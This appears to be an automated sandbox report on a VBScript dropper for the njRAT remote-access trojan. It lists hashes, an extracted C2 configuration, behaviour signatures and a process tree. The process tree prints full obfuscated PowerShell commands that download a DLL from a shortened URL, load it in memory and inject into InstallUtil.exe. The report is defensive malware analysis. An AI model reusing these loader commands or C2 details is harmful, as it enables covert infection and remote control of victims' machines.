Analysis
-
max time kernel
505s -
max time network
8s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
29/09/2022, 22:57
Static task
static1
General
-
Target
Crpted.vbs
-
Size
201KB
-
MD5
7c1c586eee46eeb0d4ecaeddd0f6c9e8
-
SHA1
e4ec1842c5b0d5a06eed1ff2cc5ec1cfee3863b6
-
SHA256
27c6e7285e625cc5b527bbdf24cffdb0489a5b29acd1fa6cff08d1cd437b7a63
-
SHA512
c9f25ac378cdda9fdeb675f82df003f89d6e10398c196d87fd45ac433b794c84164844c29fe46d6a4b750cb39f46bb1805a7707b9e3b76d942a073180a83055e
-
SSDEEP
96:dyYRYFYDf3YNbC+PbvD71b0F4WOktEpD2AUB/0zwNEWUvnZ1+AN1qHk:d9uarY5CeTHiFbBQD2RB/0zwkZJ1qE
Malware Config
Extracted
https://tinyurl.com/2erph6cs
Extracted
njrat
0.7NC
NYAN CAT
dnsproxi2022.duckdns.org:1986
587789ec74
-
reg_key
587789ec74
-
splitter
@!#&^%$
Signatures
-
Blocklisted process makes network request 4 IoCs
flow pid Process 12 4900 powershell.exe 20 4900 powershell.exe 12 4900 powershell.exe 20 4900 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4900 set thread context of 4764 4900 powershell.exe 87 PID 4900 set thread context of 4764 4900 powershell.exe 187 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2240 powershell.exe 2240 powershell.exe 4900 powershell.exe 4900 powershell.exe 2240 powershell.exe 2240 powershell.exe 4900 powershell.exe 4900 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2240 powershell.exe Token: SeDebugPrivilege 4900 powershell.exe Token: SeDebugPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe Token: SeIncBasePriorityPrivilege 4764 InstallUtil.exe Token: 33 4764 InstallUtil.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 4156 wrote to memory of 2240 4156 WScript.exe 84 PID 4156 wrote to memory of 2240 4156 WScript.exe 84 PID 2240 wrote to memory of 4900 2240 powershell.exe 83 PID 2240 wrote to memory of 4900 2240 powershell.exe 83 PID 4900 wrote to memory of 4764 4900 powershell.exe 87 PID 4900 wrote to memory of 4764 4900 powershell.exe 87 PID 4900 wrote to memory of 4764 4900 powershell.exe 87 PID 4900 wrote to memory of 4764 4900 powershell.exe 87 PID 4900 wrote to memory of 4764 4900 powershell.exe 87 PID 4900 wrote to memory of 4764 4900 powershell.exe 87 PID 4900 wrote to memory of 4764 4900 powershell.exe 87 PID 4900 wrote to memory of 4764 4900 powershell.exe 87 PID 4156 wrote to memory of 2240 4156 WScript.exe 184 PID 4156 wrote to memory of 2240 4156 WScript.exe 184 PID 2240 wrote to memory of 4900 2240 powershell.exe 183 PID 2240 wrote to memory of 4900 2240 powershell.exe 183 PID 4900 wrote to memory of 4764 4900 powershell.exe 187 PID 4900 wrote to memory of 4764 4900 powershell.exe 187 PID 4900 wrote to memory of 4764 4900 powershell.exe 187 PID 4900 wrote to memory of 4764 4900 powershell.exe 187 PID 4900 wrote to memory of 4764 4900 powershell.exe 187 PID 4900 wrote to memory of 4764 4900 powershell.exe 187 PID 4900 wrote to memory of 4764 4900 powershell.exe 187 PID 4900 wrote to memory of 4764 4900 powershell.exe 187
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Crpted.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAC⌚⌚⌚AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHQAaQBuAHkAdQByAGwALgBjAG8AbQAvADIAZQByAHAAaAA2AGMAcwAnACkAKQA7AFsAcwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAE4AdwBnAG8AeABNAC4ASwBQAEoAYQBOAGoAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFAAVQBsAEcASwBBACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AOQAwADgAMgB2AG4AZQAvADYANQA5ADMANAA3ADQANgA2ADYAOQA4ADIAMAA3ADQAMgAwADEALwA3ADEANQAyADEAMwA1ADgAMAA4ADMAMgA0ADgANgA0ADIAMAAxAC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBSAG8AZABhACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('еовесеМеовесеМ', 'C:\Users\Admin\AppData\Local\Temp\Crpted.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = '%%';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.9082vne/6593474666982074201/7152135808324864201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'Roda' ))"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵PID:4764
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = '%%';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.9082vne/6593474666982074201/7152135808324864201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'Roda' ))"1⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4764
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Crpted.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAC⌚⌚⌚AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHQAaQBuAHkAdQByAGwALgBjAG8AbQAvADIAZQByAHAAaAA2AGMAcwAnACkAKQA7AFsAcwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAE4AdwBnAG8AeABNAC4ASwBQAEoAYQBOAGoAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFAAVQBsAEcASwBBACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AOQAwADgAMgB2AG4AZQAvADYANQA5ADMANAA3ADQANgA2ADYAOQA4ADIAMAA3ADQAMgAwADEALwA3ADEANQAyADEAMwA1ADgAMAA4ADMAMgA0ADgANgA0ADIAMAAxAC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBSAG8AZABhACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('еовесеМеовесеМ', 'C:\Users\Admin\AppData\Local\Temp\Crpted.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2240
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b